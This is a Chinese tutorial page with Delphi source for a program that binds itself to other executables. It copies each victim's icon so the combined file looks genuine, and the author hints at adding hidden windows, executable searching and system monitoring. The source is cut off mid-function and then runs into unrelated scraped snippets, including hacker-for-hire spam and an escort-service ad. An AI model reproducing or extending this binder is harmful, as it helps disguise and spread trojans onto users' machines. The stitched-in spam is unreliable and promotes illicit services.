最新功能:与其它程序捆绑后,图标为其它程序的图标
这个示范程序没有form,编译、压缩后仅40K,运行后不长驻内存
如果加上隐藏的窗体,加上搜索可执行程序的功能,加上监视系统的功能,加上 %$#@*^ 功能...
程序中几个数字的确定:
1 在本程序编译后用Aspack.Exe压缩,大小为41472
2 经过分析,本程序在用Aspack.Exe压缩后,图标前面部分长40751,图标数据
位于从第40752字节开始共640字节,图标后还有81字节
与其它程序捆绑的过程:
本程序的前40751字节+被捆绑程序的图标+本程序最后81字节+被捆绑程序全部
怎么找到图标的位置:
将程序的图标设定为一个32*32的红色块,在程序经过编译、压缩后,用十六进制
编辑软件载入,查找“99 99 99”字符串即可。以后你可为程序加上其它合适的图标。
十六进制编辑软件:常用UltraEdit。
本人嫌它有日期限制,自编了一个,有十六进制编辑、比较、查找功能,并在不断完善中,对付几百K的文件没问题:
http://guanbh.top263.net/download/hexedit.exe
}
program exe2;
uses
classes,
Tlhelp32,
windows,
graphics,
ShellAPI,
SysUtils;
{$R *.RES}
var
lppe:TProcessEntry32;
found:boolean;
handle:THandle;
ProcessStr,ExeName:string;
WinDir:pchar;
const
MySize=41472; {!!这个值要根据编译或压缩后的文件大小进行修改!!}
procedure copy2(s:string);
var
s1,s2,IcoStream:TMemoryStream;
File2:TFilestream;
ch:array[0..1] of char;
ss:string;
filetime,fhandle:integer;
l:integer;
File2Icon:Ticon;
begin
{若文件s不存在}
if FileExists(s)=False then exit;
try
{若文件不含图标,就不捆绑}
File2Icon:=Ticon.Create;
l:=extracticon(handle,pchar(s),0);
if l=0 then
begin
File2Icon.Free;
exit;
end
else
begin
{提取被捆绑程序图标}
File2Icon.Handle:=extracticon(handle,pchar(s),0);
IcoStream:=TMemoryStream.Create;
File2Icon.SaveToStream(IcoStream);
File2Icon.Free;
end;
{判断文件s中有没有第2个程序头’MZ’。若有,表示已经合并过}
File2:=TFilestream.Create(s,fmopenread);
if File2.Size>MySize then
begin
File2.Position:=MySize;
File2.Read(ch,2);
ss:=copy(ch,1,2);
Microsoft Word 2010 Service Pack 2 别的,依据养号功用不同,又分为站街、直登微信号;依据地域不同,分为国内号和国外号;等等。 [1][2][3]黑客接单 有了上面的...
本文目录一览: 1、苹果被黑客入侵的表现 2、苹果手机被黑客攻击了怎么办? 3、黑客攻击苹果ID后手机会出现什么? 苹果被黑客入侵的表现 苹果手机被入侵的表现有哪些第一点是手机在你不知情的情...
请问这是一个什么样的把妹技能?有用吗? 曾经有一位生物学人士,发布了工科把妹第一弹,暨“巴甫洛夫把妹法”: 天天给你那位心仪的女同事/女同学的抽屉里都放上经心筹备的早餐,而且保持沉默不语,无...
怎么找上海商务陪伴小学妹上门QQ,通过个人微信群【杨萍】 今天给大家分享的内容是“怎么找上海商务陪伴小学妹上门QQ,通过个人微信群【杨萍】”,我是杨萍,来自承德市,今年28岁,作为职业:外贸,我热...
元宵节孩子们都过的很开心,能赏花灯还能吃汤圆,但是汤圆宝宝们并不适合多吃,那么七岁宝宝能吃几颗汤圆,下面友谊长存的小编就来说说:7岁宝宝吃什么汤圆好。 七岁宝宝能吃几颗汤圆 七岁宝宝能吃3-4颗汤...
2020年很快就要结束了,2021年也要如期而至了,到了2021年就说明立春节气也快了,那么2021年立春是几月几号几点几分呢?下面大家和小编一起去了解一下立春是几月几号2021年哦~...